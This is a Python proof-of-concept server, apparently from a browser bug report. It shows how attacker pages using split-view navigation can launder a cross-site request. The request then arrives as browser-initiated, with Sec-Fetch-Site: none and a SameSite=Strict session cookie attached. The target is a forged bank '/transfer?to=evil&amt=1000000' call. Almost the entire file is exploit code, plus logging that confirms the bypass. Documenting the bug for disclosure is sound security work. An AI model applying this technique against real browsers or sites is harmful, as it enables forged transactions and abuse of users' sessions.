#!/usr/bin/env python3
"""
POC HTTP server.

Serves attacker + victim content on the same port (8080); the POC
distinguishes origins by host (127.0.0.1 = attacker, localhost = victim).

Logs every request's Host, Sec-Fetch-Site, and Cookie headers so the
trust-laundering is observable on the wire.
"""
import http.server
import socketserver
import sys

PORT = 8080

PAGES = {
    "/victim.html": (
        b"<!doctype html><title>Victim Bank</title>"
        b"<h1>Victim Bank (localhost)</h1>"
        b"<p>SameSite=Strict session cookie has been set by the server.</p>"
    ),
    "/attacker.html": (
        b"<!doctype html><title>Attacker (background)</title>"
        b"<h1>attacker.html</h1>"
        b"<script>\n"
        b"  // Step 1: from a *background* attacker tab, send the first\n"
        b"  // FrameHost::OpenURL(NEW_SPLIT_VIEW). This falls through to\n"
        b"  // browser_navigator.cc which creates a new attacker-origin tab T,\n"
        b"  // splits it with the user's *active* tab (victim), and activates T.\n"
        b"  setTimeout(() => {\n"
        b"    document.body.innerHTML += '<p>STEP 1: opening split...</p>';\n"
        b"    console.log('POC_SPLITVIEW:http://127.0.0.1:8080/attacker2.html');\n"
        b"  }, 3000);\n"
        b"</script>"
    ),
    "/attacker2.html": (
        b"<!doctype html><title>Attacker pane T</title>"
        b"<h1>attacker2.html (split pane T)</h1>"
        b"<script>\n"
        b"  // Step 2: T is now split with the victim tab. Send a second\n"
        b"  // FrameHost::OpenURL(NEW_SPLIT_VIEW) targeting the victim origin.\n"
        b"  // Browser::OpenURLFromTab will navigate the *partner* (victim) tab\n"
        b"  // via LoadURLWithParams with is_renderer_initiated=false and no\n"
        b"  // initiator_origin -> Sec-Fetch-Site: none + SameSite=Strict cookies.\n"
        b"  setTimeout(() => {\n"
        b"    document.body.innerHTML += '<p>STEP 2: navigating partner...</p>';\n"
        b"    console.log("
        b"'POC_SPLITVIEW:http://localhost:8080/transfer?to=evil&amt=1000000');\n"
        b"  }, 2000);\n"
        b"</script>"
    ),
    "/transfer": (
        b"<!doctype html><title>TRANSFER</title>"
        b"<h1 style='color:red'>/transfer reached</h1>"
    ),
}


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path.split("?", 1)[0]
        host = self.headers.get("Host", "?")
        sfs = self.headers.get("Sec-Fetch-Site", "<absent>")
        cookie = self.headers.get("Cookie", "<absent>")

        line = (
            f"[REQ] host={host:<20} path={self.path:<45} "
            f"Sec-Fetch-Site={sfs:<12} Cookie={cookie}"
        )
        print(line, file=sys.stderr, flush=True)

        if path == "/transfer":
            verdict = []
            if sfs == "none":
                verdict.append("Sec-Fetch-Site: none  (LAUNDERED to browser-initiated)")
            else:
                verdict.append(f"Sec-Fetch-Site: {sfs}")
            if "session=victim-strict-secret" in cookie:
                verdict.append("SameSite=Strict cookie WAS SENT")
            else:
                verdict.append("SameSite=Strict cookie absent")
            print("[!!!] /transfer hit -> " + " | ".join(verdict),
                  file=sys.stderr, flush=True)

        body = PAGES.get(path, b"<!doctype html><h1>404</h1>")
        self.send_response(200 if path in PAGES else 404)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Cache-Control", "no-store")
        if path == "/victim.html":
            # Victim sets a SameSite=Strict session cookie. Under normal
            # cross-site navigation rules a renderer at 127.0.0.1 cannot cause
            # this cookie to be attached to a request to localhost.
            self.send_header(
                "Set-Cookie",
                "session=victim-strict-secret; SameSite=Strict; Path=/")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        try:
            self.wfile.write(body)
        except BrokenPipeError:
            pass  # client aborted (favicon during shutdown)

    def log_message(self, fmt, *args):
        pass  # silence default access log; we print our own


class ReuseTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == "__main__":
    with ReuseTCPServer(("0.0.0.0", PORT), Handler) as httpd:
        print(f"[*] POC server listening on 0.0.0.0:{PORT}", file=sys.stderr)
        httpd.serve_forever()
